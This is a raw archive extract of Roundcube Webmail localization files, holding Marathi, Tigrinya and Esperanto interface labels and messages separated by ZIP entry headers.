 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'काहीतरी चूक झाली';
$messages['loginfailed']  = 'प्रवेश करता आला नाही';
$messages['cookiesdisabled'] = 'तुमचा ब्राऊझर कुकीज घेऊ शकत नाही';
$messages['sessionerror'] = 'तुम्ही प्रवेश केल्यानंतर बराच वेळ काही न करता गेला म्हणून तुमचा कालावधी संपला किंवा तुमच्या कालावधीच्या नोंदेत काही चूक झाली आहे.';
$messages['storageerror'] = 'आयमॅप सर्व्हरशी संपर्क होवू शकला नाही.';
$messages['servererror'] = 'सर्व्‍हर चूक !';
$messages['servererrormsg'] = 'सर्व्हर चूक : $msg';
$messages['dberror'] = 'माहितीसाठा चूक !';
$messages['errorreadonly'] = 'कृती करण्यास असमर्थ, फोल्डर फक्त बघण्यासाठी';
$messages['errornoperm'] = 'कृती करण्यास असमर्थ, परवानगी अमान्य';
$messages['invalidrequest'] = 'अवैध विनंती! माहिती साठवलेली नाही.';
$messages['nomessagesfound'] = 'या खात्यामधे कोणताही संदेश आलेला नाही';
$messages['loading'] = 'संदेश आणत आहे';
$messages['uploading'] = 'फाईल चढवली जात आहे...';
$messages['loadingdata'] = 'माहिती आणत आहे';
$messages['checkingmail'] = 'नवीन संदेश आले आहेत का हे पहात आहे';
$messages['sendingmessage'] = 'संदेश पाठवत आहे';
$messages['messagesent'] = 'संदेश यशस्वीरित्या पाठवण्यात आला आहे';
$messages['savingmessage'] = 'संदेश जतन करुन ठेवत आहे';
$messages['messagesaved'] = 'संदेश मसुदा फोल्डरमधे ठेवत आहे';
$messages['successfullysaved'] = 'यशस्वीरित्या ठेवला';
$messages['addedsuccessfully'] = 'नवीन नाव पत्तां नोंदवहीत व्यवस्थित ठेवला';
$messages['contactnameexists'] = 'सारख्या नावाची नोंद आधीच आहे';
$messages['blockedimages'] = 'तुमची गोपनीयता पाळण्यासाठी या संदेशातील दुसर्‍या सर्व्हरवरील चित्रे दिसणे थांबवले आहे.';
$messages['encryptedmessage'] = 'हा गुप्त व सांकेतिक संदेश आहे. तो तुम्हाला असा दाखवता येणार नाही.';
$messages['nocontactsfound'] = 'कोणताच पत्ता नोंदवहीत नाही.';
$messages['contactnotfound'] = 'या नावाचा कोणताच पत्ता नोंदवहीत नाही.';
$messages['sendingfailed'] = 'संदेश पाठवता आला नाही.';
$messages['senttooquickly'] = 'कृपया हा संदेश पाठवण्यापूर्वी $sec थांबा';
$messages['errormoving'] = 'संदेश तेथे ठेवता आला नाही.';
$messages['errorcopying'] = 'संदेशांची नक्‍कल करता आली नाही';
$messages['errordeleting'] = 'संदेश काढून टाकता आला नाही.';
$messages['errormarking'] = 'संदेशांवर खूण करता आली नाही.';
$messages['deletecontactconfirm']  = 'खूण केलेले सर्व पत्ते खरोखरच तुम्हाला काढून टाकायचे आहेत का?';
$messages['deletegroupconfirm']  = 'निवडलेला गट तुम्हाला नक्की नष्ट करायचा आहे का?';
$messages['deletemessagesconfirm'] = 'खूण केलेले सर्व संदेश खरोखरच तुम्हाला काढून टाकायचे आहेत का?';
$messages['deletefolderconfirm']  = 'हा फोल्डर खरोखरच तुम्हाला काढून टाकायचा आहेत का?';
$messages['purgefolderconfirm']  = 'या फोल्डरमधिल सर्व संदेश खरोखरच तुम्हाला काढून टाकायचे आहेत का?';
$messages['folderdeleting'] = 'फोल्डर काढून टाकत आहे';
$messages['foldermoving'] = 'फोल्डर हलवत आहे.';
$messages['formincomplete'] = 'फॉर्म पूर्णपणे भरलेला  नाही.';
$messages['noemailwarning'] = 'योग्य, बरोबर, आणि वैध इमेल पत्ता द्या.';
$messages['nonamewarning']  = 'नाव द्या';
$messages['nopagesizewarning'] = 'पानाचा आकार द्या';
$messages['norecipientwarning'] = 'किमान एकतरी पत्ता द्या ज्यांना तुम्हाला संदेश पाठवावयाचा आहे.';
$messages['nosubjectwarning']  = 'विषय दिलेला नाही. तुम्हाला विषय द्यायचा आहे का?';
$messages['nobodywarning'] = 'संदेशामधे कोणताही मजकूर नाही. तुम्हाला तसाच संदेश पाठवावयाचा आहे का?';
$messages['nosearchname'] = 'कृपया ज्यांना तुम्हाला संदेश पाठवावयाचा आहे त्यांचे नाव किंवा इमेल पत्ता द्या.';
$messages['notuploadedwarning'] = 'सर्व फाईल अजून चढवल्‍या गेलेल्‍या नाहीत. कृपया वाट पहा किंवा मागे फिरा';
$messages['searchsuccessful'] = '$nr संदेष मिळाले.';
$messages['searchnomatch'] = 'शोध घेतल्यानंतर एकही संदेश मिळाला नाही';
$messages['searching'] = 'शोधत आहे......';
$messages['checking'] = 'तपासत आहे.....';
$messages['nospellerrors'] = 'शुध्दलेखनाची चूक सापडली नाही';
$messages['folderdeleted'] = 'फोल्डर यशस्वी रित्या काढून टाकण्यात आला आहे.';
$messages['deletedsuccessfully'] = 'यशस्वी रित्या काढून टाकण्यात आला आहे.';
$messages['converting'] = 'दृष्य स्वरुप काढून टाकण्यात येत आहे.';
$messages['messageopenerror'] = 'सर्व्हरवरुन संदेश आणता आला नाही.';
$messages['fileuploaderror'] = 'फाईल चढवता आली नाही';
$messages['filesizeerror'] = 'तुम्ही चढवलेली फाईल क्षमतेपेक्षा जास्त मोठी आहे.';
$messages['sourceisreadonly'] = 'पत्ता फक्त वाचण्यासाठी आहे.';
$messages['errorsavingcontact'] = 'पत्ता नोंदवहीत ठेवता आला नाही.';
$messages['movingmessage'] = 'संदेश हलवत आहे..';
$messages['copyingmessage'] = 'संदेशाची नक्‍कल करत आहे...';
$messages['receiptsent'] = 'पोचपावती यशस्वीरित्या पाठवण्यात आली आहे.';
$messages['errorsendingreceipt'] = 'पोचपावती पाठवता आली नाही.';
$messages['deleteidentityconfirm'] = 'तुम्हाला ही ओळख नक्की नष्ट करायची आहे का?';
$messages['nodeletelastidentity'] = 'तुम्ही हे खाते काढून टाकू शकत नाही कारण हे तुमचे शेवटचे खाते आहे.';
$messages['forbiddencharacter'] = 'फोल्डरच्या नावात न चालणारी अक्षरे किंवा खूणा आहेत.';
$messages['selectimportfile'] = 'चढवण्यासाठी फाईल निवडा';
$messages['addresswriterror'] = 'निवडलेल्या पत्ता नोंदवहीत नोंद करता येत नाही.';
$messages['contactaddedtogroup'] = 'पत्‍ते यशस्‍वीरित्‍या हया गटात वाढवण्‍यात आले.';
$messages['contactremovedfromgroup'] = 'पत्‍ते यशस्‍वीरित्‍या हया गटातून काढून टाकले.';
$messages['importwait'] = 'आयात करत आहे, कृपया वाट पहा.....';
$messages['importconfirm'] = '<b>$inserted पत्ते यशस्वीरित्या आयात केल, $skipped आधिच असलेल्या नोंदी केल्या नाहीत</b>:<p><em>$names</em></p>';
$messages['opnotpermitted'] = 'ही क्रिया करण्यास परवानगी नाही.';
$messages['httpreceivedencrypterror'] = 'हानीकारक चूक झाली. व्‍यवस्‍थापकाशी तात्‍काळ संपर्क साधा. <b> तुमचा संदेश पाठवला नाही </b>';
$messages['smtpconnerror'] = 'SMTP चूक ($code): सर्व्‍हरशी संपर्क साधता येत नाही';
$messages['smtpautherror'] = 'SMTP चूक ($code): ओळख पटवता येत नाही';
$messages['smtpfromerror'] = 'SMTP चूक ($code): "$from" पाठवणार्‍याचे नाव टाकता आले नाही';
$messages['smtptoerror'] = 'SMTP चूक ($code): प्राप्‍तकर्ता "$to" टाकता आला नाही';
$messages['smtprecipientserror'] = 'SMTP चूक : प्राप्‍तकर्त्‍यांची यादी चालू करता आली नाही';
$messages['smtperror'] = 'SMTP चूक : $msg';
$messages['toomanyrecipients'] = 'खूप जास्‍त प्राप्‍तकर्ते. प्राप्‍तकर्त्‍यांची संख्‍या $max पर्यंत कमी करा';
$messages['maxgroupmembersreached'] = 'गट सभासद संख्‍या $max पेक्षा जास्‍त झाली आहे';
PK
h�\�S\��
�
"program/localization/ti/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'ሰናይ ምምጻእ ናብ $product';
$labels['username'] = 'ሽምዓሙና';
$labels['password'] = 'መሐለፊ ቃል';
$labels['server'] = 'ውሃቢ ግልጋሎት';
$labels['login'] = 'ክኣቱ';
$labels['logout'] = 'ክውጽእ';
$labels['mail'] = 'ደብዳበ';
$labels['settings'] = 'ከመንታይ';
$labels['addressbook'] = 'መጽሓፍ አድራሻ';
$labels['inbox'] = 'ሳጹን አታዊ';
$labels['drafts'] = 'ወጡን ጽሑፍ';
$labels['sent'] = 'ዝተለኣኸ';
$labels['trash'] = 'እንዳጉሓፍ';
$labels['junk'] = 'እንዳቅንጠመንጢ';
$labels['subject'] = 'ዋኒን';
$labels['from'] = 'ካብ';
$labels['sender'] = 'ልኣኺ(ት)';
$labels['to'] = 'ናብ';
$labels['cc'] = 'ካኮ';
$labels['bcc'] = 'ሕካኮ';
$labels['replyto'] = 'ተመላሲ ናብ';
$labels['followupto'] = 'ናብ...ዝስዓበ';
$labels['date'] = 'ዕለት';
$labels['size'] = 'መጠን';
$labels['priority'] = 'ህጹጽነት';
$labels['organization'] = 'ውድብ';
$labels['readstatus'] = 'ምንባቡ';
$labels['listoptions'] = 'መማርጽታት ዝርዝር';
$labels['mailboxlist'] = 'ማህዸራት';
$labels['messagesfromto'] = '$countይ መልእኽቲ ካብ $from ናብ $to  ';
$labels['sun'] = 'ሰንበ';
$labels['mon'] = 'ሰኑይ';
$labels['tue'] = 'ሰሉስ';
$labels['wed'] = 'ረቡዕ';
$labels['thu'] = 'ሓሙስ';
$labels['fri'] = 'ዓርቢ';
$labels['sat'] = 'ቀዳም';
$labels['sunday'] = 'ሰንበት';
$labels['monday'] = 'ሰኑይ';
$labels['tuesday'] = 'ሰሉስ';
$labels['wednesday'] = 'ረቡዕ';
$labels['thursday'] = 'ሓሙስ';
$labels['friday'] = 'ዓርቢ ';
$labels['saturday'] = 'ቀዳም';
$labels['isread'] = 'ከንብብ';
$labels['insert'] = 'ይሸጎጥ';
$labels['other'] = 'ካሊእ';
$labels['typeother'] = 'ካሊእ';
$labels['delete'] = 'ይጥፋእ';
$labels['about'] = 'ብዛዕባ';
$labels['folders'] = 'ማህዸራት';
$labels['create'] = 'ይፈጠር';
$labels['license'] = 'ፍቓድ';
PK
h�\��l9$program/localization/ti/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'ተጓንፎ ጋዶ';
$messages['loginfailed']  = 'ከይዲ ምእታዎ ፈሺሉ';
$messages['cookiesdisabled'] = 'ጎስጓሲ ኢንተርኔት ዛላማላ አይቕበልን';
$messages['sessionerror'] = 'እዋኑ ዝሓለፎ ወይ ዋጋ ዘይብሉ ካርነ ምጥቃም ክልክል እዩ::';
$messages['storageerror'] = 'ናብ ውሃቢ ግልጋሉት ቆፎ ረኽቢ አይተኻለን::';
$messages['servererror'] = 'ጋዶ ውሃቢት ግልጋሉት';
PK
h�\N�O��4�4"program/localization/eo/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bonvenon al $product';
$labels['username'] = 'Uzantnomo';
$labels['password'] = 'Pasvorto';
$labels['server'] = 'Servilo';
$labels['login'] = 'Ensaluti';
$labels['logout'] = 'Elsaluti';
$labels['mail'] = 'Retpoŝto';
$labels['settings'] = 'Agordoj';
$labels['addressbook'] = 'Adresaro';
$labels['inbox'] = 'Ricevitujo';
$labels['drafts'] = 'Malnetujo';
$labels['sent'] = 'Senditujo';
$labels['trash'] = 'Rubujo';
$labels['junk'] = 'Spamujo';
$labels['subject'] = 'Temo';
$labels['from'] = 'Sendanto';
$labels['sender'] = 'Sendinto';
$labels['to'] = 'Ricevanto';
$labels['cc'] = 'Kopio';
$labels['bcc'] = 'Blindkopio';
$labels['replyto'] = 'Respondu-Al';
$labels['followupto'] = 'Respondo-Al';
$labels['date'] = 'Dato';
$labels['size'] = 'Grando';
$labels['priority'] = 'Prioritato';
$labels['organization'] = 'Organizo';
$labels['readstatus'] = 'Legis statuson';
$labels['listoptions'] = 'List-agordoj...';
$labels['mailboxlist'] = 'Dosierujoj';
$labels['messagesfromto'] = 'Mesaĝoj ekde $from ĝis $to de $count';
$labels['threadsfromto'] = 'Fadenoj $from al $to de $count';
$labels['messagenrof'] = 'Mesaĝo $nr-a de $count';
$labels['fromtoshort'] = '$from - $to de $count';
$labels['copy'] = 'Kopii';
$labels['move'] = 'Movi';
$labels['moveto'] = 'transloku al...';
$labels['download'] = 'elŝutu';
$labels['showattachment'] = 'Montri';
$labels['showanyway'] = 'Tamen montri ĝin';
$labels['filename'] = 'Dosiernomo';
$labels['filesize'] = 'Dosiergrando';
$labels['addtoaddressbook'] = 'Aldonu al adresaro';
$labels['sun'] = 'Dim';
$labels['mon'] = 'Lun';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mer';
$labels['thu'] = 'Ĵaŭ';
$labels['fri'] = 'Ven';
$labels['sat'] = 'Sab';
$labels['sunday'] = 'Dimanĉo';
$labels['monday'] = 'Lundo';
$labels['tuesday'] = 'Mardo';
$labels['wednesday'] = 'Merkredo';
$labels['thursday'] = 'Ĵaŭdo';
$labels['friday'] = 'Vendredo';
$labels['saturday'] = 'Sabato';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Majo';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aŭg';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'Januaro';
$labels['longfeb'] = 'Februaro';
$labels['longmar'] = 'Marto';
$labels['longapr'] = 'Aprilo';
$labels['longmay'] = 'Majo';
$labels['longjun'] = 'Junio';
$labels['longjul'] = 'Julio';
$labels['longaug'] = 'Aŭgusto';
$labels['longsep'] = 'Septembro';
$labels['longoct'] = 'Oktobro';
$labels['longnov'] = 'Novembro';
$labels['longdec'] = 'Decembro';
$labels['today'] = 'Hodiaŭ';
$labels['refresh'] = 'Aktualigi';
$labels['checkmail'] = 'Kontroli por novaj mesaĝoj';
$labels['compose'] = 'Verki';
$labels['writenewmessage'] = 'Verki novan mesaĝon';
$labels['reply'] = 'Respondi';
$labels['replytomessage'] = 'Respondi al sendanto';
$labels['replytoallmessage'] = 'Respondi al listo aŭ al sendanto kaj al ĉiuj ricevintoj';
$labels['replyall'] = 'Respondi al ĉiuj';
$labels['replylist'] = 'Respondi al listo';
$labels['forward'] = 'Plusendi';
$labels['forwardinline'] = 'Plusendu enmesaĝe';
$labels['forwardattachment'] = 'Plusendu alfikse';
$labels['forwardmessage'] = 'Plusendu mesaĝon';
$labels['deletemessage'] = 'Forigu mesaĝon';
$labels['movemessagetotrash'] = 'Transloku mesaĝon al rubujo';
$labels['printmessage'] = 'Printu ĉi tiun mesaĝon';
$labels['previousmessage'] = 'Montru antaŭan mesaĝon';
$labels['firstmessage'] = 'Montru unuan mesaĝon';
$labels['nextmessage'] = 'Montru sekvan mesaĝon';
$labels['lastmessage'] = 'Montru lastan mesaĝon';
$labels['backtolist'] = 'Reen al mesaĝo-listo';
$labels['viewsource'] = 'Montri fonton';
$labels['mark'] = 'Marki';
$labels['markmessages'] = 'Marki mesaĝojn';
$labels['markread'] = 'Kiel legita';
$labels['markunread'] = 'Kiel nelegita';
$labels['markflagged'] = 'kiel markita';
$labels['markunflagged'] = 'kiel nemarkita';
$labels['moreactions'] = 'Pliaj agoj';
$labels['more'] = 'Pli';
$labels['back'] = 'Malantaŭen';
$labels['options'] = 'Agordoj';
$labels['select'] = 'Elektu';
$labels['all'] = 'Ĉion';
$labels['none'] = 'Nenion';
$labels['currpage'] = 'Nuna paĝo';
$labels['isread'] = 'Legi';
$labels['unread'] = 'Nelegitan';
$labels['flagged'] = 'Markita';
$labels['unanswered'] = 'Nerespondita';
$labels['deleted'] = 'Forigita';
$labels['undeleted'] = 'Ne forigita';
$labels['invert'] = 'Inversigu';
$labels['filter'] = 'Filtru';
$labels['list'] = 'Listo';
$labels['threads'] = 'Fadenoj';
$labels['expand-all'] = 'Malfaldi ĉion';
$labels['expand-unread'] = 'Malfaldi Nelegitajn';
$labels['collapse-all'] = 'Faldi ĉion';
$labels['threaded'] = 'Fadenita';
$labels['autoexpand_threads'] = 'Malfaldi mesaĝ-fadenojn';
$labels['do_expand'] = 'Ĉiuj fadenoj';
$labels['expand_only_unread'] = 'Nur kun nelegitaj mesaĝoj';
$labels['fromto'] = 'De/Al';
$labels['flag'] = 'Marko';
$labels['attachment'] = 'Aldonaĵo';
$labels['nonesort'] = 'Nenion';
$labels['sentdate'] = 'Send-dato';
$labels['arrival'] = 'Ricev-dato';
$labels['asc'] = 'kreskante';
$labels['desc'] = 'malkreskante';
$labels['listcolumns'] = 'List-rubrikoj';
$labels['listsorting'] = 'Ordig-rubriko';
$labels['listorder'] = 'Ordig-ordo';
$labels['listmode'] = 'Lista vido';
$labels['layoutlist'] = 'Listo';
$labels['folderactions'] = 'Dosierujo-agoj';
$labels['compact'] = 'Kompakta';
$labels['empty'] = 'Malplena';
$labels['quota'] = 'Diskuzo';
$labels['unknown'] = 'nekonata';
$labels['unlimited'] = 'senlima';
$labels['quicksearch'] = 'Rapida serĉo';
$labels['resetsearch'] = 'Vakigu serĉon';
$labels['searchmod'] = 'Serĉ-opcioj';
$labels['msgtext'] = 'Tuta mesaĝo';
$labels['openinextwin'] = 'Malfermu en nova fenestro';
$labels['emlsave'] = 'Elŝutu (.eml)';
$labels['editasnew'] = 'Redaktu kiel nova';
$labels['send'] = 'Sendi';
$labels['sendmessage'] = 'Sendu mesaĝon';
$labels['savemessage'] = 'Savu ĉi tiun malneton';
$labels['addattachment'] = 'Alfiksu dosieron';
$labels['charset'] = 'Karaktraro';
$labels['editortype'] = 'Speco de redaktilo';
$labels['returnreceipt'] = 'Return receipt';
$labels['dsn'] = 'Ricev-status-konfirmo';
$labels['mailreplyintro'] = 'Je $date, $sender skribis:';
$labels['originalmessage'] = 'Originala mesaĝo';
$labels['insert'] = 'Enmeti';
$labels['recipient'] = 'Ricevanto';
$labels['editidents'] = 'Redaktu identojn';
$labels['spellcheck'] = 'Literumu';
$labels['checkspelling'] = 'Kontrolu literumadon';
$labels['resumeediting'] = 'Rekomencu redaktadon';
$labels['revertto'] = 'Reiru al';
$labels['attach'] = 'Alfiksu';
$labels['attachments'] = 'Alfiksaĵoj';
$labels['upload'] = 'Alŝutu';
$labels['close'] = 'Fermi';
$labels['messageoptions'] = 'Mesaĝ-agordoj...';
$labels['low'] = 'Malalta';
$labels['lowest'] = 'Plej malalta';
$labels['normal'] = 'Normala';
$labels['high'] = 'Alta';
$labels['highest'] = 'Plej alta';
$labels['nosubject'] = '(sen temo)';
$labels['showimages'] = 'Montru bildojn';
$labels['alwaysshow'] = 'Ĉiam montru bildojn de $sender';
$labels['isdraft'] = 'Ĉi-mesaĝo estas malneto';
$labels['andnmore'] = '$nr pli';
$labels['togglemoreheaders'] = 'Montri pli multajn mesaĝtitolojn';
$labels['togglefullheaders'] = 'Maligi ĉu mesaĝaj titoloj nudu';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Plata teksto';
$labels['savesentmessagein'] = 'Konservu senditan mesaĝon en';
$labels['dontsave'] = 'Ne konservu';
$labels['maxuploadsize'] = 'Maksimuma permesata dosier-grando estas $size';
$labels['addcc'] = 'Aldonu kopi-ricevanton';
$labels['addbcc'] = 'Aldonu blindan kopi-ricevanton';
$labels['addreplyto'] = 'Aldonu Respondu-Al';
$labels['addfollowupto'] = 'Aldonu Respondu-Al';
$labels['mdnrequest'] = 'La sendinto de ĉi tiu mesaĝo petis sciigon de kiam vi legas ĝin. Ĉu volas sciigi la sendinton?';
$labels['receiptread'] = 'Legokonfirmo';
$labels['yourmessage'] = 'Jen estas legokonfirmo de via mesaĝo';
$labels['receiptnote'] = 'Notu: Ĉi tiu konfirmo nur asertas ke la mesaĝo estis malfermita je la komputilo de la ricevinto. Ne estas garantio ke la ricevinto legis aŭ komprenis la enhavon.';
$labels['name'] = 'Nomo';
$labels['firstname'] = 'Antaŭnomo';
$labels['surname'] = 'Familia nomo';
$labels['middlename'] = 'Meza Nomo';
$labels['nameprefix'] = 'Prefikso';
$labels['namesuffix'] = 'Sufikso';
$labels['nickname'] = 'Kromnomo';
$labels['jobtitle'] = 'Postena titolo';
$labels['department'] = 'Departemento';
$labels['gender'] = 'Sekso';
$labels['maidenname'] = 'Fraŭla nomo';
$labels['email'] = 'Retpoŝto';
$labels['phone'] = 'Telefono';
$labels['address'] = 'Adreso';
$labels['street'] = 'Strato';
$labels['locality'] = 'Urbo';
$labels['zipcode'] = 'Poŝt-kodo';
$labels['region'] = 'Ŝtato/Provinco';
$labels['country'] = 'Lando';
$labels['birthday'] = 'Naskiĝdato';
$labels['anniversary'] = 'Datreveno';
$labels['website'] = 'Retejo';
$labels['instantmessenger'] = 'TM';
$labels['notes'] = 'Notoj';
$labels['male'] = 'viro';
$labels['female'] = 'virino';
$labels['manager'] = 'Estro';
$labels['assistant'] = 'Asistanto';
$labels['spouse'] = 'Edz(in)o';
$labels['allfields'] = 'Ĉiuj kampoj';
$labels['search'] = 'Serĉu';
$labels['advsearch'] = 'Detala sercô';
$labels['advanced'] = 'Altnivela';
$labels['other'] = 'Alia';
$labels['typehome'] = 'Hejmo';
$labels['typework'] = 'Laboro';
$labels['typeother'] = 'Alia';
$labels['typemobile'] = 'Poŝtelefono';
$labels['typemain'] = 'Ĉefa';
$labels['typehomefax'] = 'Hejma faksilo';
$labels['typeworkfax'] = 'Laboreja faksilo';
$labels['typecar'] = 'Aŭtomobilo';
$labels['typepager'] = 'Televokilo';
$labels['typeassistant'] = 'Asistanto';
$labels['typehomepage'] = 'Hejmpaĝo';
$labels['typeblog'] = 'Blogo';
$labels['typeprofile'] = 'Profilo';
$labels['addfield'] = 'Aldonu kampon...';
$labels['editcontact'] = 'Redaktu kontakton';
$labels['contacts'] = 'Kontaktoj';
$labels['contactproperties'] = 'Kontakt-informoj';
$labels['personalinfo'] = 'Personaj informoj';
$labels['edit'] = 'Redaktu';
$labels['cancel'] = 'Nuligi';
$labels['save'] = 'Konservi';
$labels['delete'] = 'Forigi';
$labels['rename'] = 'Alinomu';
$labels['addphoto'] = 'Aldonu';
$labels['replacephoto'] = 'Anstataŭu';
$labels['uploadphoto'] = 'Alŝutu bildon';
$labels['deletecontact'] = 'Forigu elektatajn kontaktojn';
$labels['composeto'] = 'Verku mesaĝon al';
$labels['contactsfromto'] = 'Kontaktoj ekde $from ĝis $to de $count';
$labels['print'] = 'Presi';
$labels['export'] = 'Elporti';
$labels['previouspage'] = 'Montru auntaŭan';
$labels['firstpage'] = 'Montru unuan';
$labels['nextpage'] = 'Montru sekvan';
$labels['lastpage'] = 'Montru lastan';
$labels['groups'] = 'Grupoj';
$labels['personaladrbook'] = 'Persona Adresoj';
$labels['settingsfor'] = 'Preferoj de';
$labels['about'] = 'Pri';
$labels['preferences'] = 'Preferoj';
$labels['userpreferences'] = 'Uzant-preferoj';
$labels['editpreferences'] = 'Redaktu uzant-preferojn';
$labels['identities'] = 'Identoj';
$labels['preferhtml'] = 'Montru HTML';
$labels['htmlmessage'] = 'HTML Mesaĝo';
$labels['prettydate'] = 'Agrablaj Datoj';
$labels['setdefault'] = 'Agordu kiel norma';
$labels['language'] = 'Lingvo';
$labels['timezone'] = 'Tempzono';
$labels['pagesize'] = 'Mesaĝoj po paĝo';
$labels['signature'] = 'Subskribo';
$labels['dstactive'] = 'Taglumsavado';
$labels['htmleditor'] = 'Uzado de HTML-redaktilo';
$labels['htmlsignature'] = 'HTML subskribo';
$labels['previewpane'] = 'Montru antaŭrigardejon';
$labels['skin'] = 'Interfaco-etoso';
$labels['logoutclear'] = 'Malplenigu rubujon je eliro';
$labels['logoutcompact'] = 'Kompaktigu ricevitujon je eliro';
$labels['uisettings'] = 'Uzanto-interfaco';
$labels['serversettings'] = 'Servilo-agordo';
$labels['mailboxview'] = 'Ricevitujo vido';
$labels['mdnrequests'] = 'Sendanto-sciigoj';
$labels['askuser'] = 'demandu';
$labels['autosend'] = 'sendu aŭtomate';
$labels['readwhendeleted'] = 'Marku mesaĝon kiel legita kiam forigata';
$labels['flagfordeletion'] = 'Marku mesaĝon kiel forigita anstataŭ forigi';
$labels['showinlineimages'] = 'Montru alfiksitajn bildojn sub la mesaĝo';
$labels['autosavedraft'] = 'Aŭtomate savu malneton';
$labels['never'] = 'neniam';
$labels['messagesdisplaying'] = 'Mesaĝoj vidigante';
$labels['messagescomposition'] = 'Mesaĝo-verkado';
$labels['allmessages'] = 'ĉiuj mesaĝoj';
$labels['folder'] = 'Dosierujo';
$labels['folders'] = 'Dosierujoj';
$labels['foldername'] = 'Dosierujo-nomo';
$labels['subscribed'] = 'Abonata';
$labels['messagecount'] = 'Mesaĝoj';
$labels['create'] = 'Krei';
$labels['createfolder'] = 'Kreu novan dosierujon';
$labels['managefolders'] = 'Administru dosierujon';
$labels['sortby'] = 'Ordigu per';
$labels['sortasc'] = 'Ordigu kreskante';
$labels['sortdesc'] = 'Ordigu malkreskante';
$labels['license'] = 'Permesilo';
PK
h�\�n���$program/localization/eo/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Eraro okazis!';
$messages['loginfailed']  = 'Malsukcesis ensaluti';
$messages['cookiesdisabled'] = 'Via foliumilo ne akceptas kuketojn';
$messages['sessionerror'] = 'Via seanco estas nevalida aŭ finita';
$messages['storageerror'] = 'Konekto kun IMAP-servilo malsukcesis';
$messages['servererror'] = 'Servil-eraro!';
$messages['servererrormsg'] = 'Servil-eraro: $msg';
$messages['dberror'] = 'Datumbaz-eraro!';
$messages['errorreadonly'] = 'Ne povis fari agon. Dosierujo estas nurlega';
$messages['errornoperm'] = 'Ne povis fari agon. Ne havas permeson.';
$messages['invalidrequest'] = 'Nevalida peto';
$messages['invalidhost'] = 'Nevalida servilo-nomo';
$messages['nomessagesfound'] = 'Neniu mesaĝo en ĉi tiu dosierujo';
$messages['nomessages'] = 'Neniu mesaĝo';
$messages['loading'] = 'Ŝarganta...';
$messages['uploading'] = 'Alŝutanta dosieron...';
$messages['uploadingmany'] = 'Alŝutanta dosierojn...';
$messages['loadingdata'] = 'Ŝarganta datumojn...';
$messages['checkingmail'] = 'Kontrolanta, ĉu  novaj mesaĝoj...';
$messages['sendingmessage'] = 'Sedanta mesaĝon...';
$messages['messagesent'] = 'Mesaĝo estas sendita sukcese';
$messages['savingmessage'] = 'Savanta mesaĝon...';
$messages['messagesaved'] = 'Mesaĝo savita en Malnetujo';
$messages['successfullysaved'] = 'Sukcese savis';
$messages['addedsuccessfully'] = 'Sukcese aldonis kontakton al adresaro';
$messages['blockedimages'] = 'Por protekti vian privatecon, foraj bildoj estas blokitaj en ĉi tiu mesaĝo.';
$messages['encryptedmessage'] = 'Ĉi tiu mesaĝo estas ĉifrata kaj ne estas montrebla. Pardonu!';
$messages['nocontactsfound'] = 'Trovis neniun kontakton';
$messages['contactnotfound'] = 'La petita kontakto ne trovis';
$messages['sendingfailed'] = 'Ne sukcesis sendi mesaĝon';
$messages['errormoving'] = 'Ne povis transloki mesaĝon';
$messages['errordeleting'] = 'Ne povis forigi mesaĝon';
$messages['deletecontactconfirm']  = 'Ĉu vi vere volas forigi la elektata(j)n kontakto(j)n?';
$messages['deletemessagesconfirm'] = 'Ĉu vi vere volas forigi la elektata(j)n mesaĝo(j)n?';
$messages['deletefolderconfirm']  = 'Ĉu vi vere volas forigi la elektatan dosierujon?';
$messages['purgefolderconfirm']  = 'Ĉu vi vere volas forigi ĉiun mesaĝon el ĉi tiu dosierujo?';
$messages['formincomplete'] = 'La formularo ne estis kompletigita';
$messages['noemailwarning'] = 'Bonvolu enmeti validan retpoŝt-adreson';
$messages['nonamewarning']  = 'Bonvulu enmeti nomon';
$messages['nopagesizewarning'] = 'Bonvolu enmeti paĝ-grando';
$messages['norecipientwarning'] = 'Bonvolu enmeti minumume unu ricevonto';
